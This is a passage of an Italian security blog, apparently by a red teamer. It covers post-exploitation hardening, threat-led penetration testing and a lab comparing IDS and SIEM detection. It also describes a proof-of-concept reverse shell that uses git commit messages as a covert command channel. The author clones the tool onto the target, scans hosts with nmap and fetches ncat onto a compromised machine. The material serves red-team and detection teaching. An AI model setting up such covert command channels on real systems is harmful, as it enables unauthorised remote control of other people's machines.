Ovviamente più il sistema target è ricco di dati e utility e più l’attacker avrà vita facile. Questa consapevolezza è quella che dovrebbe far riflettere sul livello di hardening dei sistemi: situazioni troppo “permissive” come l’utilizzo troppo esteso di utenti con privilegi elevati o la configurazione di servizi ed applicazioni in esecuzione con privilegi amministrativi, possono dare al Red Team la possibilità di agire sul sistema colpito in modo molto invasivo.

I macro elementi da cui personalmente mi piace iniziare le “indagini” sono la possibilità di comunicare all’esterno della rete tramite canali leciti e la possibilità di eseguire manovre sul sistema target e verso altri sistemi utilizzando utenti/profili con un basso livello di privilegi. Una situazione più che comoda potrebbe essere quella di atterrare su una macchina che ha modo di navigare senza particolare limiti, anche se attraverso firewall o proxy, e con una CLI di qualche tipo. Una bash o una powershell sono strumenti con cui si possono fare molte cose.

Qualche esempio per comprendere meglio: come mostrato in una recente demo (e nella live del 4 febbraio ci ritorniamo) alcune azioni possono essere più rumorose di altre: in una rete presidiata può fare molta differenza eseguire una scansione “massiva” rispetto ad una scansione molto mirata, come è diverso eseguire dei comandi su una CLI rispetto a lanciare uno script in PowerShell.
E’ abbastanza frequente poter disporre di un accesso verso internet con destinazione servizi di largo utilizzo come Microsoft 365, Google Drive o Dropbox. Si tratta di servizi assolutamente leciti che l’attacker può utilizzare come “punto di appoggio” nello scambio di informazioni o per impartire comandi attraverso un C2 in grado di comunicare all’interno di un canale “nascosto”.

Considerazioni lato Blue Team e IT

Come noto non è il mio ambito di specializzazione, quindi a maggior ragione spero di ricevere feedback e pareri su quanto scrivo e condivido. Faccio una riflessione generale, figlia dell’esperienza su campo e del confronto con SOC Analyst, Security Manager e CISO.

Esiste, prima di tutto, un problema di “scope”: abbiamo la capacità di osservare moltissimo ma spesso tale capacità non viene scaricata a terra.
Esiste un problema di “mindset”: deleghiamo molto ad una tecnologia troppo spesso configurata in modo non idoneo, perdendo di vista o non considerando che chi attacca ha una elevata capacità di adattamento al contesto e, per quanto segua un modello, non ha regole statiche a cui obbedire.

Concettualmente mi piace il modello Zero Trust, al netto dell’applicabilità il concetto è assolutamente sano: non è possibile, in una strategia di difesa, dare per buono qualcosa. Tutto è vulnerabile e tutto potrebbe essere attaccato. Tutto. Se non si parte da questo punto fermo l’effetto è quello che osservo quotidianamente: piccole falle logiche e/o tecniche che si sommano, si aggregano fino a formare la classica valanga ingestibile.

Osservare tutto l’osservabile è un buon punto di partenza (ne ho parlato nel post sulla detection), ma contemporaneamente vanno irrobustiti i sistemi ed i processi. Il SIEM non risolve il problema delle vulnerabilità critiche, il SOC non risolve il problema della bassa consapevolezza. Sono strumenti utili all’interno di una strategia più ampia e che deve tener conto di come si comporta l’avversario e non solo di ciò che presumiamo di sapere.

Mia conclusione alla riflessione

A mio parere da questa situazione se ne esce solo collaborando, costruendo un confronto (che molti già fanno, fortunatamente) tra Red Team e Blue Team.

cyber security, hacking

Threat-Led Penetration Testing

Oggi snoccioliamo qualche bella sigla e partiamo con TLPT. La prendo larga: come si fa a capire se le scelte fatte da una organizzazione, in termini di difesa dalle minacce informatiche, funzionano e in che grado funzionano?

Prima di darci una risposta ripassiamo il concetto di DIFESA, termine con il quale ci vogliamo riferire alla capacità di una organizzazione di reagire ad una minaccia. Non stiamo quindi parlando dei soli sistemi di protezione che ne fanno ovviamente parte (es: sistemi anti-malware, servizi MDR, ecc), ma dall’intera strategia di identificazione e gestione degli incidenti di sicurezza. Per essere chiari e lapidati: avere un ottimo sistema di detection, per quanto magico e ben configurato, non è una strategia di difesa, è uno strumento utile che deve far parte di una strategia più ampia.

Ora possiamo tornare alla domanda iniziale. La mia risposta (e non solo la mia) è: mettendo alla prova l’organizzazione. Ora, che ci crediate o no, l’unico modo per mettere alla prova un’organizzazione in tal senso è vedere come reagisce quando sottoposta ad un attacco informatico, tutto il resto sono chiacchiere.
Ci sono molte attività indispensabili che servono ad identificare falle specifiche con l’obiettivo di costruire un piano di miglioramento costante della propria postura. Possiamo eseguire molte tipologie di assessment, definire piani di formazione, adeguare costantemente i sistemi e le procedure, ma per vedere se l’impalcatura regge bisogna dargli qualche scossone.

Nulla di nuovo sotto al sole, chi lavora nel campo dell’offensive security propone questo approccio da anni. La citata sigla sta per Threat-Led Penetration Testing, per gli amici Red Teaming: sottoporre un target ad una serie di azioni controllate e concordate che facciano uso di metodologie e strumenti tipicamente in uso ad un attacker.

E’ un tema che recentemente si sta discutendo più frequentemente rispetto a qualche mese fa, probabilmente in conseguenza a quanto riportato nella Guida nazionale TIBER-IT, in riferimento al framework TIBER-EU. Le direttive in questione sono state pensate per il settore finanziario, storicamente un po’ più attento ai rischi legati alle moderne minacce cyber. A mio parere è un tema su cui tutti i settori dovrebbero cominciare a ragionare seriamente.

Ovviamente il tema va opportunamente declinato nei singoli contesti: stiamo parlando di applicare una metodologia che, sulla base del tipo di target, può prevedere strumenti, competenze e costi diversi. Il costo per un’azienda interessata va quindi valutato sulla base del contesto di riferimento che per ovvie ragioni avrà molte peculiarità da tenere in considerazione.

A cosa serve simulare un’azione di attacco? Personalmente non vorrei scoprire che qualcosa nella mia strategia non va a seguito di un attacco vero. Le aziende strutturate sono spesso molto complesse, è poco realistico fare previsioni a tavolino su come reagirà il “sistema”, nel complesso, a certe sollecitazioni. Per chi lavora in questo ambito sto dicendo delle ovvietà enormi, fattore in contrato con la realtà odierna in cui un numero al momento troppo basso di aziende si sta realmente muovendo in questa direzione.

Visto che si tratta dell’ennesimo argomento complesso gli dedico uno spazio nella prossima live del 21 gennaio sul mio canale Twitch.

hacking

GIT-SHELL: p-o-c v0.1

Tempo fa mi ero imbattuto in un post su medium in cui si discuteva dell’utilizzo di git per gestire una reverse shell. Non è un tema nuovo, ho visto diverse presentazioni in vari eventi in cui sono state mostrate le potenzialità della tecnica che trovo interessante per diversi fattori tra cui:

  • la possibilità di utilizzare come “base” una piattaforma considerata affidabile come un servizio di versioning in cloud
  • la possibilità di utilizzare comodamente SSH o HTTPS come protocollo di comunicazione
  • la versatilità dello strumento in se (git)

Ho rispolverato l’argomento in questi giorni (attività in corso con il red team) ed ho approfittato per costruire un piccolo prototipo che sfrutti le funzionalità di git con qualche accorgimento in più. Di seguito il funzionamento del mio proof of concept ed il codice utilizzato in questa primissima versione dimostrativa.

Come funziona

Il processo è molto semplice, partiamo dal contesto. Si tratta a tutti gli effetti di una reverse shell, siamo quindi in una fase di post-exploitation in cui abbiamo ottenuto un accesso ad un sistema o abbiamo modo di interagire. E’ inoltre necessario, almeno in questa versione del tool, che git sia presente sul sistema target salvo poterlo installare senza destare sospetti.

Sfruttando una qualsiasi funzionalità che consenta ti eseguire ad intervalli uno script facciamo in modo di eseguire il seguente processo:

  • creiamo/aggiorniamo la repo locale del progetto
  • verifichiamo il contenuto dell’ultimo commit message
  • se contiene una stringa che corrisponde ad un comando bash, eseguiamo il comando sul sistema
  • ridirigiamo l’output del comando in un file di testo che fa parte della repo (es: output.txt)
  • eseguiamo il commit delle modifiche ed aggiorniamo la repo remota

L’unica differenza di sostanza con altre git-shell sta nel fatto che i comandi vengono solitamente posizionati encoded in un file che fa parte dalla repo. In questa versione ho utilizzato il campo dedicato ai messaggi delle commit per inviate i comandi alla shell mentre per ricevere gli output ho mantenuto il metodo classico.

Come risultato finale per dialogare con il sistema basta eseguire una commit sulla repo ed aspettare l’aggiornamento del file “output.txt” con la risposta.

Demo

Una piccola dimostrazione pratica per vedere gli step e le modalità di lavoro della versione 0.1 che rilascio solo a fini dimostrativi per ambienti unix-like. Seguiranno probabilmente integrazione per altri ambienti.

Per prima cosa è ovviamente necessario clonare la repo sulla macchina target:

$ git clone https://github.com/roccosicilia/sToolz

Il progetto è una collezione di piccoli tools, in questa occasione ci interessa solo il contenuto della directory RedTeam/C2demo/ dove troverete diversi file tra cui:

  • il file git-demo.sh con lo script da tenere in esecuzione sulla macchina target
  • il file git-output.txt dove verranno scritti gli output dei comandi alla shell

Nota sugli altri file: fanno parte di altre versioni della p-o-c ancora in sviluppo, la metodologia è la stessa ma i canali utilizzati sono differenti.

Usando una tecnica a vostro piacimento è necessario far girare periodicamente lo script git-demo.sh:

Lo script si occupa semplicemente di aggiornare la repo locale e verificare l’ultimo messaggio di commit: se il messaggio è NOP lo script non esegue azioni e procede con la prossima iterazione, in caso contrario legge il contenuto dell’ultimo commit e lo utilizza come comando da inviare al sistema locale. L’output del comando viene così inviato al file git-output.txt su cui si esegue la commit e la push verso la repo remota.

A questo punto è sufficiente eseguire una qualsiasi modifica ad uno dei file della repo (es: README) mettendo nel messaggio il comando da eseguire.

l’esempio più idiota che mi è venuto in mente

L’output del comando verrà quindi salvato all’interno del file git-output.txt e sincronizzato con la repository del progetto su GitHub o su altri repo Git di vostro gradimento.

Utilizzo in un contesto reale

Ripercorriamo assieme gli step usando solo la cli sia lato “attacker” (a sinistra) che lato target (a destra), tenendo in considerazione che questa versione dimostrativa non è dotata di una interfaccia utente che possa agevolare qualche comando.

In arancione sono evidenziali i due file che compongono la versione 0.1 della git-shell, mentre nel riquadro azzurro il comando che avvia il loop sulla macchina target. Non essendoci stati change sulla repo remota lo script in loop restituisce il messaggio che indica che non ci sono azioni da eseguire (NOP).

Mentre sul sistema target è in esecuzione lo script, sul sistema locale modifichiamo uno dei file della repo (in questo caso il README.md. Come previsto con un git status possiamo visualizzare la modifica in accesa di commit.

commit

Una volta modificato il file possiamo eseguirne l’add e poi il commit (nell’esempio stiamo ancora usando la mia repository di test). Nell’esecuzione del commit, sottolineato in verde, vi è un comando specifico: per evitare problemi nell’utilizzo della stringa da utilizzare come comando sul sistema target si è adottata una forma che consenta di evitare gli spazi come carattere separatore.

Ora è sufficiente eseguire la push delle modifiche sulla repo ed attendere che il sistema remoto aggiorni la propria repository. In caso l’aggiornamento vada a buon fine dovremmo poter osservare la sincronizzazione delle repo:

A questo punto lo script avrà eseguito il comando passato tramite messaggio (df -kh) e scritto l’output sul file git-output.txt. Per accedere al contenuto sarà sufficiente aggiornare la repo sulla macchina locale leggere il contenuto del file:

l’output del comando “df -kh”

Qualche riflessione

Come sicuramente in molti avranno avuto modo di sperimentare l’utilizzo dei blasonati tools di Penetration Testing viene spesso limitato dal fatto che i sistemi di sicurezza ne conoscono bene il comportamento e sono spesso in grado di bloccare specifiche azioni. L’esigenza di creare componenti “originali” per le suite più note o piccoli strumenti from scratch credo si manifesterà sempre più frequentemente.

Le reverse shell sono strumenti potenti e se ben pensate sono difficili da individuare. L’esempio presentato in questo breve post difficilmente potrebbe essere rilevato se non grazie a sistemi di controllo in grado di correlare l’azione in se (dei comandi git e del traffico https) ad un comportamento anomalo come l’intervallo regolare degli update o il fatto che la rete target non ha familiarità con gli host di atterraggio delle sessioni. Tecnica ancor più insidiosa se la si veicola tramite un dispositivo “guest”, non controllato dall’IT.

In questo proof of concept abbiamo giocato ma è mia intenzione valutarne gli effetti in contesti di analisi ed attività – ovviamente concordate – di adversarial simulation.

cyber security, hacking

Una riflessione sul concetto di “detection”

Come ho avuto modo di raccontare in qualche post su LinkedIn, negli ultimi mesi ho potuto dialogare con molti attori, italiani e non, del mondo MDR. Per i non addetti ai lavori: MDR è l’acronimo di Managed Detection and Response e si riferisce ai servizi di presidio degli eventi di una rete con capacità di intercettare minacce informatiche e reagire per mitigare e/o bloccare l’eventuale compromissione. Potremmo dire che si tratta dall’evoluzione dei più tradizionali servizi di Security Operation Center che hanno sempre avuto il compito di intercettare e segnalare eventuali situazioni di compromissione.

Nel discutere i diversi scenari di applicazione del concetto di detection ho notato due approcci che definirei complementari. Va detto che alcuni interlocutori utilizzano entrambi gli approcci mentre altri ne prediligono uno all’altro. Il primo approccio è network-oriented: i dati su cui viene eseguita l’analisi vengono da sonde a livello rete che, potendo osservare il traffico sia a confine che all’interno della struttura, analizzano le conversazioni e, se possibile, i contenuti per scovare eventuali minacce. Il secondo approccio è event-oriented: i dati su cui viene eseguita l’analisi provengono dai logs e dagli eventi registrati dai sistemi della rete che possono inviare informazioni “grezze” o già qualificate (es: allarmi da parte di hosts o altri sistemi).

[Nota tecnica] Nella discussione nata su LinkedIn emerge l’esigenza di estendere il dominio dell’approccio event-oriented a ciò che è possibile analizzare a livello kernel dei sistemi operativi grazie a specifici agent. Nel post considero questa fonte assimilabile ad un evento anche se non viene segnalata attraverso i classici servizi di gestione degli eventi ma, solitamente, attraverso un agent.

Non voglio arrivare a conclusioni di preferenza, lo scopo del post è illustrare i due approcci in modo semplice così da farsi un’idea. Le valutazioni di merito vanno fatte caso per caso. Come da titolo il post si limita al concetto di detection, mentre per il concetto di response valuterò un post dedicato più avanti.

Detection network-oriented

Alla base di questo modello vi è l’assunto di poter osservare tutto il traffico di rete, sia nord/sud che est/ovest. Di per se questo requisito non è impossibile da rispettare ma in contesti complessi potrebbe non essere così immediato. Per ragionare sul modello a prescindere dalla complessità della rete (tema comunque da non trascurare in fase di analisi) mettiamoci comodi e lavoriamo su uno scenario semplice:

Nota di laboratorio: il lab mette a disposizione uno Standard Virtual Switch (su ESXi 7.x) su cui sono configurati tre Port Group in corrispondenza di tre VLAN (LAN, DMZ, WAN) a simulare una semplice rete.

In questo semplice esempio, facilmente applicabile in contesti con più reti e più apparati, vi è l’esigenza di portare tutto il traffico in visibilità di un oggetto “sonda” che si occuperà di analizzarlo a caccia di eventuali anomalie da segnalare direttamente all’amministratore di rete o, in contesti più complessi e completi, da portare a conoscenza di un sistema centralizzato e presidiato come un SIEM gestito da un security operation center (o altro team dedicato).

Virtualmente, se tutto il traffico fosse presidiato ed accessibile a livello di contenuto, dovremmo aver completa visibilità. E’ opportuno considerare che nel mondo vero non è così semplice raccogliere tutto il traffico di una rete. In un contesto multi sede sarebbe necessario predisporre almeno una sonda per sede. Inoltre le reti delle singole sedi possono essere molto complesse e potrebbero quindi richiedere più sonde. Ciò che spesso accade è che alcune porzioni di traffico non vengono raccolte.

C’è un altro tema da considerare se approcciamo lo scenario dal punto di vista di un threat actor. Cosa succede se volessimo attaccare una workstation (ws1 nello schema) con un’azione locale e che non transiti necessariamente dalla rete? Ovviamente la detection sarebbe impossibile se non grazie a sistemi che lavorano a livello host. Altro esempio: cosa succede se l’attacker utilizzasse l’host ws1 per inviare dati all’esterno della rete generando traffico verso un servizio in uso dall’organizzazione come OneDrive o Google Drive?

Il modello di per se ha il vantaggio di avete un punto di osservazione molto comodo per quantità di informazioni a cui può accedere e per capillarità. Va necessariamente considerato che non tutti gli attacchi hanno bisogno di transitare dall’infrastruttura di rete del target o potrebbero essere utilizzate tecniche particolarmente stealth per rendere l’azione difficile da rilevare.

Detection event-oriented

Ciò che accade sugli hosts è da diversi anni un tema di interesse: i logs delle security appliance come i Firewall sono sempre stati interessanti ma a questi si sono aggiunti gli eventi dei vari sistemi che popolano le reti. A livello cronologico si è prima svilippato in interesse verso i sistemi server per poi estendere il concetto a tutto ciò che può produrre un log: workstation, sistemi operativi, applicazioni, telefoni e caffettiere connesse alla rete LAN per contare quanti caffè vengono fatti ogni giorno (l’IoT ha avuto i suoi impatti).

Va inoltre aggiunto ciò che è possibile osservare a basso livello, in un mio recente post su LinkedIn si è discusso di quanto sia possibile andare in profondità con l’analisi a livello kernel utilizzando sistemi di controllo (es. EDR) in grado di sfruttare specifici moduli. Metto tutto, un po’ impropriamente, nel calderone della detection event-oriented in considerazione del fatto che si tratta di comportamenti che possiamo osservare a bordo di un sistema e di cui possiamo centralizzare il collecting e l’analisi.

L’approccio consente di avere un elevato livello di controllo sui singoli sistemi che popolano la rete (oltre a rendere possibile l’utilizzo di agent in grado di agire attivamente sui sistemi) ed ha l’ovvio limite di non dare evidenza in relazione a ciò che succede laddove non è stato installato/configurato un agent, spesso integrato a livello di sistema operativo, per inviare le informazioni a un sistema centralizzato in grado di analizzarle, SIEM o simili.

Le due aree non presidiate sono infatti determinate da quei sistemi che non hanno la possibilità di inviare eventi o dai sistemi che hanno la possibilità di connettersi alla rete target ma non sono gestiti centralmente (guest). In questi casi, non potendo riceve eventi direttamente dal sistema, possiamo contare solo su ciò che gli altri “agent” sono in grado di osservare a seguito di movimenti laterali. Azioni complesse ma assolutamente fattibili come un attacco MITM possono essere difficili da individuare in questo contesto. Anche attività di scansione passiva della rete diventano difficili da rilevare e, come per il precedente scenario, l’utilizzo di canali “leciti” e cifrati per comunicare con l’esterno rappresenta un problema dal punto di vista della detection in quanto il SIEM deve avere degli elementi per distinguere traffico lecito da traffico illecito in assenza di informazioni sul contenuto e a parità (o quasi) di destinazione e comportamento.

Abbiamo anche in questo casa un modello che consente grande capillarità ma che da solo lascerebbe un po’ di spazio di manovra se il contesto consentisse l’accesso a porte di rete ad eventuale personale ospite (autorizzato e non).

Qualche esempio per giocare

Giusto per capire di cosa stiamo parlando riporto due esempi, semplicissimi, relativi ai due scenari in cui vediamo come vengono interpretate azioni offensive utilizzando una detection network-oriented (tramite un IDS) ed una detection event-oriented (tramite un SIEM). Per semplificare il lab e permettervi di riprodurlo in modo abbastanza semplice utilizzo una appliance Security Onion.

Partiamo dall’azione più banale che, come spesso discutiamo durante le live, non è esattamente una cosa che accade mondo vero (fuori dai laboratori e dai corsi di formazione)… una bella scansione con nmap 🙂

nmap -sS verso il sistema Security Onion

Il traffico di una scansione è molto rumoroso, è quindi probabile che una sonda in rete possa interpretarlo per quello che è, verrebbe quindi generato un allarme sul sistema che controlla il traffico il traffico in transito nella rete:

L’allarme generato da suricata per la scansione

Anche utilizzando l’opzione -sT, un pelo meno aggressiva rispetto al primo tentativo, la quantità di rumore resta alta e comunque sufficiente a generare nuovi alert. Azioni più delicate tendono a passare invece inosservate o ad essere associate a severity più basse: un esempio è uno scan via nmap finalizzato alla sola discovery di host nella rete; di recente abbiamo utilizzato queste opzioni assieme al mio Red Team:

nmap -sn -PR -T5 -oA alive $target

Ovviamente in questo caso ci si accontenta di un obiettivo intermedio: la verifica degli host up. Anche abusando un po’ di questo tool in questa modalità il traffico in questo caso è relativamente basso e “agita poco le acque”, si riesci quindi ad ottenere una scansione degli host attivi senza destare sospetti:

Un banale ciclo for per passare alla scansione più target

Volendo essere estremamente chirurgici, una volta estratti silenziosamente gli host attivi potremmo passare a scansioni mirate su specifiche porte a caccia di servizi, questa volta usando uno semplice script in Python per verificare se le porte rispondono o no.

Il livello di sensibilità la sonda può ovviamente essere configurata così da individuare anche comportamenti come quelli utilizzati negli esempi in cui suricata, in qualità di IDS attivo nella rete, non ha segnalato allarmi. Il rovescio della medaglia, in caso si renda troppo sensibile la sonda, è ovviamente ricevere potenzialmente troppi falsi positivi.

Sul fronte di ciò che è possibile osservare a livello host il principio è simile. Come precedentemente discusso solitamente si utilizzano delle componenti, native o facendo uso di agent, che raccolgono ed analizzano ciò che accade a bordo di un sistema.

Facciamo un esempio molto semplice:

Tentativo di accesso in SSH si un sistema con agent attivo

Le regole di base per Security Onion identificano un accesso SSH fallito come un allarme con severity low:

In questo caso è il modulo ossec ad intercettare l’evento

Cambiamo punto di osservazione e posizioniamoci a bordo di un sistema, esattamente come se fossimo l’attacker che ha guadagnato un primo accesso con un utente qualsiasi di sistema e deve mettersi comodo. Ci sono un migliaio di cose che potremmo fare in questa situazione (sto preparando un post al riguardo). Tipicamente ci si muove sul sistema compromesso, si raccolgono info sulle configurazioni e sui tools presenti per poi arrivare, solitamente, a portare qualcosa dentro e/o fuori dall’ambiente.

Queste azioni, ancora una volta in base alla sensibilità dei sistemi di detection, possono far scattare degli allarmi o meno. Ad esempio se porto uno zip file sul sistema, tenendo sempre in considerazione che siamo in una configurazione base, il sistema SIEM non segnala nessun evento, ma se porto un binary file via HTTP …

wget di ncat da un host all’interno della stessa rete

… l’azione diventa chiaramente molto sospetta e potrebbe far scattare qualche regola di detection.

Nell’attuale configurazione del lab possiamo invece modificare i permessi del file scaricato ed eseguirlo senza generare allarmi a livello host, azione effettivamente pericolosa che in un sistema di produzione dovrebbe generare degli allarmi.

Ancora una volta dobbiamo ricordare che queste regole sono modificabili e che stiamo lavorando solo a livello di detection senza fare analisi dei contenuti di un file, cosa che un EDR farebbe sicuramente e molto probabilmente piallerebbe il file ncat alla velocità della luce. Qualche settimana fa in una live abbiamo visto come si è comportato l’EDR del mio laptop quando abbiamo provato ad eseguire un nc.exe. Quello che sicuramente metterebbe in difficoltà il sistema di detection è l’utilizzo di ciò che è già a bordo della macchina in modo tale da generare log del tutto simili a quelli che il sistema genera abitualmente.

Arriviamo al dunque

Nel mio lavoro e nel mio ambito di ricerca passo molto tempo a cercare i punti deboli dei sistemi e sono giunto alla conclusione che non ci si può affidare ad un singolo modello o ad un singolo approccio. Come spesso scrivo qui e nei miei post su LinkedIn, è necessario partire da un’analisi dei punti deboli per poi individuare gli strumenti idonei – in questo caso alla detection delle minacce – per il vostro specifico contesto. Troppo spesso ho trovato sistemi che potenzialmente avrebbero potuto rilevare qualsiasi cosa ma, a causa di una errata analisi, erano stati configurati con mille eccezioni fino a renderli inefficaci.

L’altro elemento da cui far partire i ragionamenti è una valutazione sui modelli di attacco che potrebbero interessare il target: dobbiamo smetterla di ragionare sulla presenza della singola vulnerabilità, gli attacchi sono singole azioni di exploiting. Dobbiamo lavorare sulla base di scenari offensivi realistici in grado di sfruttare le falle evidenziate in analisi.